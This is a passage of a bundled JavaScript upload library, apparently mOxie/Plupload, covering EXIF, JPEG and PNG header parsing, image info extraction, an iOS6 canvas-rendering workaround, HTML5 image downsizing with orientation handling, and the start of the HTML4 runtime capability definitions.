8114 'RATIONAL' : 8,
8115 'SLONG' : 4,
8116 'SRATIONAL' : 8
8117 };
8118
8119 length = data.SHORT(IFD_offset);
8120
8121 // The size of APP1 including all these elements shall not exceed the 64 Kbytes specified in the JPEG standard.
8122
8123 for (i = 0; i < length; i++) {
8124 values = [];
8125
8126 // Set binary reader pointer to beginning of the next tag
8127 offset = IFD_offset + 2 + i*12;
8128
8129 tag = tags2extract[data.SHORT(offset)];
8130
8131 if (tag === undefined) {
8132 continue; // Not the tag we requested
8133 }
8134
8135 type = types[data.SHORT(offset+=2)];
8136 count = data.LONG(offset+=2);
8137 size = sizes[type];
8138
8139 if (!size) {
8140 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
8141 }
8142
8143 offset += 4;
8144
8145 // tag can only fit 4 bytes of data, if data is larger we should look outside
8146 if (size * count > 4) {
8147 // instead of data tag contains an offset of the data
8148 offset = data.LONG(offset) + offsets.tiffHeader;
8149 }
8150
8151 // in case we left the boundaries of data throw an early exception
8152 if (offset + size * count >= this.length()) {
8153 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
8154 }
8155
8156 // special care for the string
8157 if (type === 'ASCII') {
8158 hash[tag] = Basic.trim(data.STRING(offset, count).replace(/\0$/, '')); // strip trailing NULL
8159 continue;
8160 } else {
8161 values = data.asArray(type, offset, count);
8162 value = (count == 1 ? values[0] : values);
8163
8164 if (tagDescs.hasOwnProperty(tag) && typeof value != 'object') {
8165 hash[tag] = tagDescs[tag][value];
8166 } else {
8167 hash[tag] = value;
8168 }
8169 }
8170 }
8171
8172 return hash;
8173 }
8174
8175 // At the moment only setting of simple (LONG) values, that do not require offset recalculation, is supported
8176 function setTag(ifd, tag, value) {
8177 var offset, length, tagOffset, valueOffset = 0;
8178
8179 // If tag name passed translate into hex key
8180 if (typeof(tag) === 'string') {
8181 var tmpTags = tags[ifd.toLowerCase()];
8182 for (var hex in tmpTags) {
8183 if (tmpTags[hex] === tag) {
8184 tag = hex;
8185 break;
8186 }
8187 }
8188 }
8189 offset = offsets[ifd.toLowerCase() + 'IFD'];
8190 length = this.SHORT(offset);
8191
8192 for (var i = 0; i < length; i++) {
8193 tagOffset = offset + 12 * i + 2;
8194
8195 if (this.SHORT(tagOffset) == tag) {
8196 valueOffset = tagOffset + 8;
8197 break;
8198 }
8199 }
8200
8201 if (!valueOffset) {
8202 return false;
8203 }
8204
8205 try {
8206 this.write(valueOffset, value, 4);
8207 } catch(ex) {
8208 return false;
8209 }
8210
8211 return true;
8212 }
8213 }
8214
8215 ExifParser.prototype = BinaryReader.prototype;
8216
8217 return ExifParser;
8218});
8219
8220// Included from: src/javascript/runtime/html5/image/JPEG.js
8221
8222/**
8223 * JPEG.js
8224 *
8225 * Copyright 2013, Moxiecode Systems AB
8226 * Released under GPL License.
8227 *
8228 * License: http://www.plupload.com/license
8229 * Contributing: http://www.plupload.com/contributing
8230 */
8231
8232/**
8233@class moxie/runtime/html5/image/JPEG
8234@private
8235*/
8236define("moxie/runtime/html5/image/JPEG", [
8237 "moxie/core/utils/Basic",
8238 "moxie/core/Exceptions",
8239 "moxie/runtime/html5/image/JPEGHeaders",
8240 "moxie/runtime/html5/utils/BinaryReader",
8241 "moxie/runtime/html5/image/ExifParser"
8242], function(Basic, x, JPEGHeaders, BinaryReader, ExifParser) {
8243
8244 function JPEG(data) {
8245 var _br, _hm, _ep, _info;
8246
8247 _br = new BinaryReader(data);
8248
8249 // check if it is jpeg
8250 if (_br.SHORT(0) !== 0xFFD8) {
8251 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
8252 }
8253
8254 // backup headers
8255 _hm = new JPEGHeaders(data);
8256
8257 // extract exif info
8258 try {
8259 _ep = new ExifParser(_hm.get('app1')[0]);
8260 } catch(ex) {}
8261
8262 // get dimensions
8263 _info = _getDimensions.call(this);
8264
8265 Basic.extend(this, {
8266 type: 'image/jpeg',
8267
8268 size: _br.length(),
8269
8270 width: _info && _info.width || 0,
8271
8272 height: _info && _info.height || 0,
8273
8274 setExif: function(tag, value) {
8275 if (!_ep) {
8276 return false; // or throw an exception
8277 }
8278
8279 if (Basic.typeOf(tag) === 'object') {
8280 Basic.each(tag, function(value, tag) {
8281 _ep.setExif(tag, value);
8282 });
8283 } else {
8284 _ep.setExif(tag, value);
8285 }
8286
8287 // update internal headers
8288 _hm.set('app1', _ep.SEGMENT());
8289 },
8290
8291 writeHeaders: function() {
8292 if (!arguments.length) {
8293 // if no arguments passed, update headers internally
8294 return _hm.restore(data);
8295 }
8296 return _hm.restore(arguments[0]);
8297 },
8298
8299 stripHeaders: function(data) {
8300 return _hm.strip(data);
8301 },
8302
8303 purge: function() {
8304 _purge.call(this);
8305 }
8306 });
8307
8308 if (_ep) {
8309 this.meta = {
8310 tiff: _ep.TIFF(),
8311 exif: _ep.EXIF(),
8312 gps: _ep.GPS(),
8313 thumb: _getThumb()
8314 };
8315 }
8316
8317
8318 function _getDimensions(br) {
8319 var idx = 0
8320 , marker
8321 , length
8322 ;
8323
8324 if (!br) {
8325 br = _br;
8326 }
8327
8328 // examine all through the end, since some images might have very large APP segments
8329 while (idx <= br.length()) {
8330 marker = br.SHORT(idx += 2);
8331
8332 if (marker >= 0xFFC0 && marker <= 0xFFC3) { // SOFn
8333 idx += 5; // marker (2 bytes) + length (2 bytes) + Sample precision (1 byte)
8334 return {
8335 height: br.SHORT(idx),
8336 width: br.SHORT(idx += 2)
8337 };
8338 }
8339 length = br.SHORT(idx += 2);
8340 idx += length - 2;
8341 }
8342 return null;
8343 }
8344
8345
8346 function _getThumb() {
8347 var data = _ep.thumb()
8348 , br
8349 , info
8350 ;
8351
8352 if (data) {
8353 br = new BinaryReader(data);
8354 info = _getDimensions(br);
8355 br.clear();
8356
8357 if (info) {
8358 info.data = data;
8359 return info;
8360 }
8361 }
8362 return null;
8363 }
8364
8365
8366 function _purge() {
8367 if (!_ep || !_hm || !_br) {
8368 return; // ignore any repeating purge requests
8369 }
8370 _ep.clear();
8371 _hm.purge();
8372 _br.clear();
8373 _info = _hm = _ep = _br = null;
8374 }
8375 }
8376
8377 return JPEG;
8378});
8379
8380// Included from: src/javascript/runtime/html5/image/PNG.js
8381
8382/**
8383 * PNG.js
8384 *
8385 * Copyright 2013, Moxiecode Systems AB
8386 * Released under GPL License.
8387 *
8388 * License: http://www.plupload.com/license
8389 * Contributing: http://www.plupload.com/contributing
8390 */
8391
8392/**
8393@class moxie/runtime/html5/image/PNG
8394@private
8395*/
8396define("moxie/runtime/html5/image/PNG", [
8397 "moxie/core/Exceptions",
8398 "moxie/core/utils/Basic",
8399 "moxie/runtime/html5/utils/BinaryReader"
8400], function(x, Basic, BinaryReader) {
8401
8402 function PNG(data) {
8403 var _br, _hm, _ep, _info;
8404
8405 _br = new BinaryReader(data);
8406
8407 // check if it's png
8408 (function() {
8409 var idx = 0, i = 0
8410 , signature = [0x8950, 0x4E47, 0x0D0A, 0x1A0A]
8411 ;
8412
8413 for (i = 0; i < signature.length; i++, idx += 2) {
8414 if (signature[i] != _br.SHORT(idx)) {
8415 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
8416 }
8417 }
8418 }());
8419
8420 function _getDimensions() {
8421 var chunk, idx;
8422
8423 chunk = _getChunkAt.call(this, 8);
8424
8425 if (chunk.type == 'IHDR') {
8426 idx = chunk.start;
8427 return {
8428 width: _br.LONG(idx),
8429 height: _br.LONG(idx += 4)
8430 };
8431 }
8432 return null;
8433 }
8434
8435 function _purge() {
8436 if (!_br) {
8437 return; // ignore any repeating purge requests
8438 }
8439 _br.clear();
8440 data = _info = _hm = _ep = _br = null;
8441 }
8442
8443 _info = _getDimensions.call(this);
8444
8445 Basic.extend(this, {
8446 type: 'image/png',
8447
8448 size: _br.length(),
8449
8450 width: _info.width,
8451
8452 height: _info.height,
8453
8454 purge: function() {
8455 _purge.call(this);
8456 }
8457 });
8458
8459 // for PNG we can safely trigger purge automatically, as we do not keep any data for later
8460 _purge.call(this);
8461
8462 function _getChunkAt(idx) {
8463 var length, type, start, CRC;
8464
8465 length = _br.LONG(idx);
8466 type = _br.STRING(idx += 4, 4);
8467 start = idx += 4;
8468 CRC = _br.LONG(idx + length);
8469
8470 return {
8471 length: length,
8472 type: type,
8473 start: start,
8474 CRC: CRC
8475 };
8476 }
8477 }
8478
8479 return PNG;
8480});
8481
8482// Included from: src/javascript/runtime/html5/image/ImageInfo.js
8483
8484/**
8485 * ImageInfo.js
8486 *
8487 * Copyright 2013, Moxiecode Systems AB
8488 * Released under GPL License.
8489 *
8490 * License: http://www.plupload.com/license
8491 * Contributing: http://www.plupload.com/contributing
8492 */
8493
8494/**
8495@class moxie/runtime/html5/image/ImageInfo
8496@private
8497*/
8498define("moxie/runtime/html5/image/ImageInfo", [
8499 "moxie/core/utils/Basic",
8500 "moxie/core/Exceptions",
8501 "moxie/runtime/html5/image/JPEG",
8502 "moxie/runtime/html5/image/PNG"
8503], function(Basic, x, JPEG, PNG) {
8504 /**
8505 Optional image investigation tool for HTML5 runtime. Provides the following features:
8506 - ability to distinguish image type (JPEG or PNG) by signature
8507 - ability to extract image width/height directly from it's internals, without preloading in memory (fast)
8508 - ability to extract APP headers from JPEGs (Exif, GPS, etc)
8509 - ability to replace width/height tags in extracted JPEG headers
8510 - ability to restore APP headers, that were for example stripped during image manipulation
8511
8512 @class ImageInfo
8513 @constructor
8514 @param {String} data Image source as binary string
8515 */
8516 return function(data) {
8517 var _cs = [JPEG, PNG], _img;
8518
8519 // figure out the format, throw: ImageError.WRONG_FORMAT if not supported
8520 _img = (function() {
8521 for (var i = 0; i < _cs.length; i++) {
8522 try {
8523 return new _cs[i](data);
8524 } catch (ex) {
8525 // console.info(ex);
8526 }
8527 }
8528 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
8529 }());
8530
8531 Basic.extend(this, {
8532 /**
8533 Image Mime Type extracted from it's depths
8534
8535 @property type
8536 @type {String}
8537 @default ''
8538 */
8539 type: '',
8540
8541 /**
8542 Image size in bytes
8543
8544 @property size
8545 @type {Number}
8546 @default 0
8547 */
8548 size: 0,
8549
8550 /**
8551 Image width extracted from image source
8552
8553 @property width
8554 @type {Number}
8555 @default 0
8556 */
8557 width: 0,
8558
8559 /**
8560 Image height extracted from image source
8561
8562 @property height
8563 @type {Number}
8564 @default 0
8565 */
8566 height: 0,
8567
8568 /**
8569 Sets Exif tag. Currently applicable only for width and height tags. Obviously works only with JPEGs.
8570
8571 @method setExif
8572 @param {String} tag Tag to set
8573 @param {Mixed} value Value to assign to the tag
8574 */
8575 setExif: function() {},
8576
8577 /**
8578 Restores headers to the source.
8579
8580 @method writeHeaders
8581 @param {String} data Image source as binary string
8582 @return {String} Updated binary string
8583 */
8584 writeHeaders: function(data) {
8585 return data;
8586 },
8587
8588 /**
8589 Strip all headers from the source.
8590
8591 @method stripHeaders
8592 @param {String} data Image source as binary string
8593 @return {String} Updated binary string
8594 */
8595 stripHeaders: function(data) {
8596 return data;
8597 },
8598
8599 /**
8600 Dispose resources.
8601
8602 @method purge
8603 */
8604 purge: function() {
8605 data = null;
8606 }
8607 });
8608
8609 Basic.extend(this, _img);
8610
8611 this.purge = function() {
8612 _img.purge();
8613 _img = null;
8614 };
8615 };
8616});
8617
8618// Included from: src/javascript/runtime/html5/image/MegaPixel.js
8619
8620/**
8621(The MIT License)
8622
8623Copyright (c) 2012 Shinichi Tomita <[email protected]>;
8624
8625Permission is hereby granted, free of charge, to any person obtaining
8626a copy of this software and associated documentation files (the
8627'Software'), to deal in the Software without restriction, including
8628without limitation the rights to use, copy, modify, merge, publish,
8629distribute, sublicense, and/or sell copies of the Software, and to
8630permit persons to whom the Software is furnished to do so, subject to
8631the following conditions:
8632
8633The above copyright notice and this permission notice shall be
8634included in all copies or substantial portions of the Software.
8635
8636THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
8637EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
8638MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
8639IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
8640CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
8641TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
8642SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
8643*/
8644
8645/**
8646 * Mega pixel image rendering library for iOS6 Safari
8647 *
8648 * Fixes iOS6 Safari's image file rendering issue for large size image (over mega-pixel),
8649 * which causes unexpected subsampling when drawing it in canvas.
8650 * By using this library, you can safely render the image with proper stretching.
8651 *
8652 * Copyright (c) 2012 Shinichi Tomita <[email protected]>
8653 * Released under the MIT license
8654 */
8655
8656/**
8657@class moxie/runtime/html5/image/MegaPixel
8658@private
8659*/
8660define("moxie/runtime/html5/image/MegaPixel", [], function() {
8661
8662 /**
8663 * Rendering image element (with resizing) into the canvas element
8664 */
8665 function renderImageToCanvas(img, canvas, options) {
8666 var iw = img.naturalWidth, ih = img.naturalHeight;
8667 var width = options.width, height = options.height;
8668 var x = options.x || 0, y = options.y || 0;
8669 var ctx = canvas.getContext('2d');
8670 if (detectSubsampling(img)) {
8671 iw /= 2;
8672 ih /= 2;
8673 }
8674 var d = 1024; // size of tiling canvas
8675 var tmpCanvas = document.createElement('canvas');
8676 tmpCanvas.width = tmpCanvas.height = d;
8677 var tmpCtx = tmpCanvas.getContext('2d');
8678 var vertSquashRatio = detectVerticalSquash(img, iw, ih);
8679 var sy = 0;
8680 while (sy < ih) {
8681 var sh = sy + d > ih ? ih - sy : d;
8682 var sx = 0;
8683 while (sx < iw) {
8684 var sw = sx + d > iw ? iw - sx : d;
8685 tmpCtx.clearRect(0, 0, d, d);
8686 tmpCtx.drawImage(img, -sx, -sy);
8687 var dx = (sx * width / iw + x) << 0;
8688 var dw = Math.ceil(sw * width / iw);
8689 var dy = (sy * height / ih / vertSquashRatio + y) << 0;
8690 var dh = Math.ceil(sh * height / ih / vertSquashRatio);
8691 ctx.drawImage(tmpCanvas, 0, 0, sw, sh, dx, dy, dw, dh);
8692 sx += d;
8693 }
8694 sy += d;
8695 }
8696 tmpCanvas = tmpCtx = null;
8697 }
8698
8699 /**
8700 * Detect subsampling in loaded image.
8701 * In iOS, larger images than 2M pixels may be subsampled in rendering.
8702 */
8703 function detectSubsampling(img) {
8704 var iw = img.naturalWidth, ih = img.naturalHeight;
8705 if (iw * ih > 1024 * 1024) { // subsampling may happen over megapixel image
8706 var canvas = document.createElement('canvas');
8707 canvas.width = canvas.height = 1;
8708 var ctx = canvas.getContext('2d');
8709 ctx.drawImage(img, -iw + 1, 0);
8710 // subsampled image becomes half smaller in rendering size.
8711 // check alpha channel value to confirm image is covering edge pixel or not.
8712 // if alpha value is 0 image is not covering, hence subsampled.
8713 return ctx.getImageData(0, 0, 1, 1).data[3] === 0;
8714 } else {
8715 return false;
8716 }
8717 }
8718
8719
8720 /**
8721 * Detecting vertical squash in loaded image.
8722 * Fixes a bug which squash image vertically while drawing into canvas for some images.
8723 */
8724 function detectVerticalSquash(img, iw, ih) {
8725 var canvas = document.createElement('canvas');
8726 canvas.width = 1;
8727 canvas.height = ih;
8728 var ctx = canvas.getContext('2d');
8729 ctx.drawImage(img, 0, 0);
8730 var data = ctx.getImageData(0, 0, 1, ih).data;
8731 // search image edge pixel position in case it is squashed vertically.
8732 var sy = 0;
8733 var ey = ih;
8734 var py = ih;
8735 while (py > sy) {
8736 var alpha = data[(py - 1) * 4 + 3];
8737 if (alpha === 0) {
8738 ey = py;
8739 } else {
8740 sy = py;
8741 }
8742 py = (ey + sy) >> 1;
8743 }
8744 canvas = null;
8745 var ratio = (py / ih);
8746 return (ratio === 0) ? 1 : ratio;
8747 }
8748
8749 return {
8750 isSubsampled: detectSubsampling,
8751 renderTo: renderImageToCanvas
8752 };
8753});
8754
8755// Included from: src/javascript/runtime/html5/image/Image.js
8756
8757/**
8758 * Image.js
8759 *
8760 * Copyright 2013, Moxiecode Systems AB
8761 * Released under GPL License.
8762 *
8763 * License: http://www.plupload.com/license
8764 * Contributing: http://www.plupload.com/contributing
8765 */
8766
8767/**
8768@class moxie/runtime/html5/image/Image
8769@private
8770*/
8771define("moxie/runtime/html5/image/Image", [
8772 "moxie/runtime/html5/Runtime",
8773 "moxie/core/utils/Basic",
8774 "moxie/core/Exceptions",
8775 "moxie/core/utils/Encode",
8776 "moxie/file/Blob",
8777 "moxie/file/File",
8778 "moxie/runtime/html5/image/ImageInfo",
8779 "moxie/runtime/html5/image/MegaPixel",
8780 "moxie/core/utils/Mime",
8781 "moxie/core/utils/Env"
8782], function(extensions, Basic, x, Encode, Blob, File, ImageInfo, MegaPixel, Mime, Env) {
8783
8784 function HTML5Image() {
8785 var me = this
8786 , _img, _imgInfo, _canvas, _binStr, _blob
8787 , _modified = false // is set true whenever image is modified
8788 , _preserveHeaders = true
8789 ;
8790
8791 Basic.extend(this, {
8792 loadFromBlob: function(blob) {
8793 var comp = this, I = comp.getRuntime()
8794 , asBinary = arguments.length > 1 ? arguments[1] : true
8795 ;
8796
8797 if (!I.can('access_binary')) {
8798 throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
8799 }
8800
8801 _blob = blob;
8802
8803 if (blob.isDetached()) {
8804 _binStr = blob.getSource();
8805 _preload.call(this, _binStr);
8806 return;
8807 } else {
8808 _readAsDataUrl.call(this, blob.getSource(), function(dataUrl) {
8809 if (asBinary) {
8810 _binStr = _toBinary(dataUrl);
8811 }
8812 _preload.call(comp, dataUrl);
8813 });
8814 }
8815 },
8816
8817 loadFromImage: function(img, exact) {
8818 this.meta = img.meta;
8819
8820 _blob = new File(null, {
8821 name: img.name,
8822 size: img.size,
8823 type: img.type
8824 });
8825
8826 _preload.call(this, exact ? (_binStr = img.getAsBinaryString()) : img.getAsDataURL());
8827 },
8828
8829 getInfo: function() {
8830 var I = this.getRuntime(), info;
8831
8832 if (!_imgInfo && _binStr && I.can('access_image_binary')) {
8833 _imgInfo = new ImageInfo(_binStr);
8834 }
8835
8836 info = {
8837 width: _getImg().width || 0,
8838 height: _getImg().height || 0,
8839 type: _blob.type || Mime.getFileMime(_blob.name),
8840 size: _binStr && _binStr.length || _blob.size || 0,
8841 name: _blob.name || '',
8842 meta: _imgInfo && _imgInfo.meta || this.meta || {}
8843 };
8844
8845 // store thumbnail data as blob
8846 if (info.meta && info.meta.thumb && !(info.meta.thumb.data instanceof Blob)) {
8847 info.meta.thumb.data = new Blob(null, {
8848 type: 'image/jpeg',
8849 data: info.meta.thumb.data
8850 });
8851 }
8852
8853 return info;
8854 },
8855
8856 downsize: function() {
8857 _downsize.apply(this, arguments);
8858 },
8859
8860 getAsCanvas: function() {
8861 if (_canvas) {
8862 _canvas.id = this.uid + '_canvas';
8863 }
8864 return _canvas;
8865 },
8866
8867 getAsBlob: function(type, quality) {
8868 if (type !== this.type) {
8869 // if different mime type requested prepare image for conversion
8870 _downsize.call(this, this.width, this.height, false);
8871 }
8872 return new File(null, {
8873 name: _blob.name || '',
8874 type: type,
8875 data: me.getAsBinaryString.call(this, type, quality)
8876 });
8877 },
8878
8879 getAsDataURL: function(type) {
8880 var quality = arguments[1] || 90;
8881
8882 // if image has not been modified, return the source right away
8883 if (!_modified) {
8884 return _img.src;
8885 }
8886
8887 if ('image/jpeg' !== type) {
8888 return _canvas.toDataURL('image/png');
8889 } else {
8890 try {
8891 // older Geckos used to result in an exception on quality argument
8892 return _canvas.toDataURL('image/jpeg', quality/100);
8893 } catch (ex) {
8894 return _canvas.toDataURL('image/jpeg');
8895 }
8896 }
8897 },
8898
8899 getAsBinaryString: function(type, quality) {
8900 // if image has not been modified, return the source right away
8901 if (!_modified) {
8902 // if image was not loaded from binary string
8903 if (!_binStr) {
8904 _binStr = _toBinary(me.getAsDataURL(type, quality));
8905 }
8906 return _binStr;
8907 }
8908
8909 if ('image/jpeg' !== type) {
8910 _binStr = _toBinary(me.getAsDataURL(type, quality));
8911 } else {
8912 var dataUrl;
8913
8914 // if jpeg
8915 if (!quality) {
8916 quality = 90;
8917 }
8918
8919 try {
8920 // older Geckos used to result in an exception on quality argument
8921 dataUrl = _canvas.toDataURL('image/jpeg', quality/100);
8922 } catch (ex) {
8923 dataUrl = _canvas.toDataURL('image/jpeg');
8924 }
8925
8926 _binStr = _toBinary(dataUrl);
8927
8928 if (_imgInfo) {
8929 _binStr = _imgInfo.stripHeaders(_binStr);
8930
8931 if (_preserveHeaders) {
8932 // update dimensions info in exif
8933 if (_imgInfo.meta && _imgInfo.meta.exif) {
8934 _imgInfo.setExif({
8935 PixelXDimension: this.width,
8936 PixelYDimension: this.height
8937 });
8938 }
8939
8940 // re-inject the headers
8941 _binStr = _imgInfo.writeHeaders(_binStr);
8942 }
8943
8944 // will be re-created from fresh on next getInfo call
8945 _imgInfo.purge();
8946 _imgInfo = null;
8947 }
8948 }
8949
8950 _modified = false;
8951
8952 return _binStr;
8953 },
8954
8955 destroy: function() {
8956 me = null;
8957 _purge.call(this);
8958 this.getRuntime().getShim().removeInstance(this.uid);
8959 }
8960 });
8961
8962
8963 function _getImg() {
8964 if (!_canvas && !_img) {
8965 throw new x.ImageError(x.DOMException.INVALID_STATE_ERR);
8966 }
8967 return _canvas || _img;
8968 }
8969
8970
8971 function _toBinary(str) {
8972 return Encode.atob(str.substring(str.indexOf('base64,') + 7));
8973 }
8974
8975
8976 function _toDataUrl(str, type) {
8977 return 'data:' + (type || '') + ';base64,' + Encode.btoa(str);
8978 }
8979
8980
8981 function _preload(str) {
8982 var comp = this;
8983
8984 _img = new Image();
8985 _img.onerror = function() {
8986 _purge.call(this);
8987 comp.trigger('error', x.ImageError.WRONG_FORMAT);
8988 };
8989 _img.onload = function() {
8990 comp.trigger('load');
8991 };
8992
8993 _img.src = str.substr(0, 5) == 'data:' ? str : _toDataUrl(str, _blob.type);
8994 }
8995
8996
8997 function _readAsDataUrl(file, callback) {
8998 var comp = this, fr;
8999
9000 // use FileReader if it's available
9001 if (window.FileReader) {
9002 fr = new FileReader();
9003 fr.onload = function() {
9004 callback(this.result);
9005 };
9006 fr.onerror = function() {
9007 comp.trigger('error', x.ImageError.WRONG_FORMAT);
9008 };
9009 fr.readAsDataURL(file);
9010 } else {
9011 return callback(file.getAsDataURL());
9012 }
9013 }
9014
9015 function _downsize(width, height, crop, preserveHeaders) {
9016 var self = this
9017 , scale
9018 , mathFn
9019 , x = 0
9020 , y = 0
9021 , img
9022 , destWidth
9023 , destHeight
9024 , orientation
9025 ;
9026
9027 _preserveHeaders = preserveHeaders; // we will need to check this on export (see getAsBinaryString())
9028
9029 // take into account orientation tag
9030 orientation = (this.meta && this.meta.tiff && this.meta.tiff.Orientation) || 1;
9031
9032 if (Basic.inArray(orientation, [5,6,7,8]) !== -1) { // values that require 90 degree rotation
9033 // swap dimensions
9034 var tmp = width;
9035 width = height;
9036 height = tmp;
9037 }
9038
9039 img = _getImg();
9040
9041 // unify dimensions
9042 if (!crop) {
9043 scale = Math.min(width/img.width, height/img.height);
9044 } else {
9045 // one of the dimensions may exceed the actual image dimensions - we need to take the smallest value
9046 width = Math.min(width, img.width);
9047 height = Math.min(height, img.height);
9048
9049 scale = Math.max(width/img.width, height/img.height);
9050 }
9051
9052 // we only downsize here
9053 if (scale > 1 && !crop && preserveHeaders) {
9054 this.trigger('Resize');
9055 return;
9056 }
9057
9058 // prepare canvas if necessary
9059 if (!_canvas) {
9060 _canvas = document.createElement("canvas");
9061 }
9062
9063 // calculate dimensions of proportionally resized image
9064 destWidth = Math.round(img.width * scale);
9065 destHeight = Math.round(img.height * scale);
9066
9067 // scale image and canvas
9068 if (crop) {
9069 _canvas.width = width;
9070 _canvas.height = height;
9071
9072 // if dimensions of the resulting image still larger than canvas, center it
9073 if (destWidth > width) {
9074 x = Math.round((destWidth - width) / 2);
9075 }
9076
9077 if (destHeight > height) {
9078 y = Math.round((destHeight - height) / 2);
9079 }
9080 } else {
9081 _canvas.width = destWidth;
9082 _canvas.height = destHeight;
9083 }
9084
9085 // rotate if required, according to orientation tag
9086 if (!_preserveHeaders) {
9087 _rotateToOrientaion(_canvas.width, _canvas.height, orientation);
9088 }
9089
9090 _drawToCanvas.call(this, img, _canvas, -x, -y, destWidth, destHeight);
9091
9092 this.width = _canvas.width;
9093 this.height = _canvas.height;
9094
9095 _modified = true;
9096 self.trigger('Resize');
9097 }
9098
9099
9100 function _drawToCanvas(img, canvas, x, y, w, h) {
9101 if (Env.OS === 'iOS') {
9102 // avoid squish bug in iOS6
9103 MegaPixel.renderTo(img, canvas, { width: w, height: h, x: x, y: y });
9104 } else {
9105 var ctx = canvas.getContext('2d');
9106 ctx.drawImage(img, x, y, w, h);
9107 }
9108 }
9109
9110
9111 /**
9112 * Transform canvas coordination according to specified frame size and orientation
9113 * Orientation value is from EXIF tag
9114 * @author Shinichi Tomita <[email protected]>
9115 */
9116 function _rotateToOrientaion(width, height, orientation) {
9117 switch (orientation) {
9118 case 5:
9119 case 6:
9120 case 7:
9121 case 8:
9122 _canvas.width = height;
9123 _canvas.height = width;
9124 break;
9125 default:
9126 _canvas.width = width;
9127 _canvas.height = height;
9128 }
9129
9130 /**
9131 1 = The 0th row is at the visual top of the image, and the 0th column is the visual left-hand side.
9132 2 = The 0th row is at the visual top of the image, and the 0th column is the visual right-hand side.
9133 3 = The 0th row is at the visual bottom of the image, and the 0th column is the visual right-hand side.
9134 4 = The 0th row is at the visual bottom of the image, and the 0th column is the visual left-hand side.
9135 5 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual top.
9136 6 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual top.
9137 7 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual bottom.
9138 8 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual bottom.
9139 */
9140
9141 var ctx = _canvas.getContext('2d');
9142 switch (orientation) {
9143 case 2:
9144 // horizontal flip
9145 ctx.translate(width, 0);
9146 ctx.scale(-1, 1);
9147 break;
9148 case 3:
9149 // 180 rotate left
9150 ctx.translate(width, height);
9151 ctx.rotate(Math.PI);
9152 break;
9153 case 4:
9154 // vertical flip
9155 ctx.translate(0, height);
9156 ctx.scale(1, -1);
9157 break;
9158 case 5:
9159 // vertical flip + 90 rotate right
9160 ctx.rotate(0.5 * Math.PI);
9161 ctx.scale(1, -1);
9162 break;
9163 case 6:
9164 // 90 rotate right
9165 ctx.rotate(0.5 * Math.PI);
9166 ctx.translate(0, -height);
9167 break;
9168 case 7:
9169 // horizontal flip + 90 rotate right
9170 ctx.rotate(0.5 * Math.PI);
9171 ctx.translate(width, -height);
9172 ctx.scale(-1, 1);
9173 break;
9174 case 8:
9175 // 90 rotate left
9176 ctx.rotate(-0.5 * Math.PI);
9177 ctx.translate(-width, 0);
9178 break;
9179 }
9180 }
9181
9182
9183 function _purge() {
9184 if (_imgInfo) {
9185 _imgInfo.purge();
9186 _imgInfo = null;
9187 }
9188 _binStr = _img = _canvas = _blob = null;
9189 _modified = false;
9190 }
9191 }
9192
9193 return (extensions.Image = HTML5Image);
9194});
9195
9196/**
9197 * Stub for moxie/runtime/flash/Runtime
9198 * @private
9199 */
9200define("moxie/runtime/flash/Runtime", [
9201], function() {
9202 return {};
9203});
9204
9205/**
9206 * Stub for moxie/runtime/silverlight/Runtime
9207 * @private
9208 */
9209define("moxie/runtime/silverlight/Runtime", [
9210], function() {
9211 return {};
9212});
9213
9214// Included from: src/javascript/runtime/html4/Runtime.js
9215
9216/**
9217 * Runtime.js
9218 *
9219 * Copyright 2013, Moxiecode Systems AB
9220 * Released under GPL License.
9221 *
9222 * License: http://www.plupload.com/license
9223 * Contributing: http://www.plupload.com/contributing
9224 */
9225
9226/*global File:true */
9227
9228/**
9229Defines constructor for HTML4 runtime.
9230
9231@class moxie/runtime/html4/Runtime
9232@private
9233*/
9234define("moxie/runtime/html4/Runtime", [
9235 "moxie/core/utils/Basic",
9236 "moxie/core/Exceptions",
9237 "moxie/runtime/Runtime",
9238 "moxie/core/utils/Env"
9239], function(Basic, x, Runtime, Env) {
9240
9241 var type = 'html4', extensions = {};
9242
9243 function Html4Runtime(options) {
9244 var I = this
9245 , Test = Runtime.capTest
9246 , True = Runtime.capTrue
9247 ;
9248
9249 Runtime.call(this, options, type, {
9250 access_binary: Test(window.FileReader || window.File && File.getAsDataURL),
9251 access_image_binary: false,
9252 display_media: Test(extensions.Image && (Env.can('create_canvas') || Env.can('use_data_uri_over32kb'))),
9253 do_cors: false,
9254 drag_and_drop: false,
9255 filter_by_extension: Test(function() { // if you know how to feature-detect this, please suggest
9256 return (Env.browser === 'Chrome' && Env.verComp(Env.version, 28, '>=')) ||
9257 (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
9258 (Env.browser === 'Safari' && Env.verComp(Env.version, 7, '>='));
9259 }()),
9260 resize_image: function() {
9261 return extensions.Image && I.can('access_binary') && Env.can('create_canvas');
9262 },
9263 report_upload_progress: false,
9264 return_response_headers: false,
9265 return_response_type: function(responseType) {
9266 if (responseType === 'json' && !!window.JSON) {
9267 return true;
9268 }
9269 return !!~Basic.inArray(responseType, ['text', 'document', '']);
9270 },
9271 return_status_code: function(code) {
9272 return !Basic.arrayDiff(code, [200, 404]);
9273 },
9274 select_file: function() {
9275 return Env.can('use_fileinput');
9276 },
9277 select_multiple: false,
9278 send_binary_string: false,
9279 send_custom_headers: false,
9280 send_multipart: true,
9281 slice_blob: false,
9282 stream_upload: function() {
9283 return I.can('select_file');
9284 },
9285 summon_file_dialog: function() { // yeah... some dirty sniffing here...
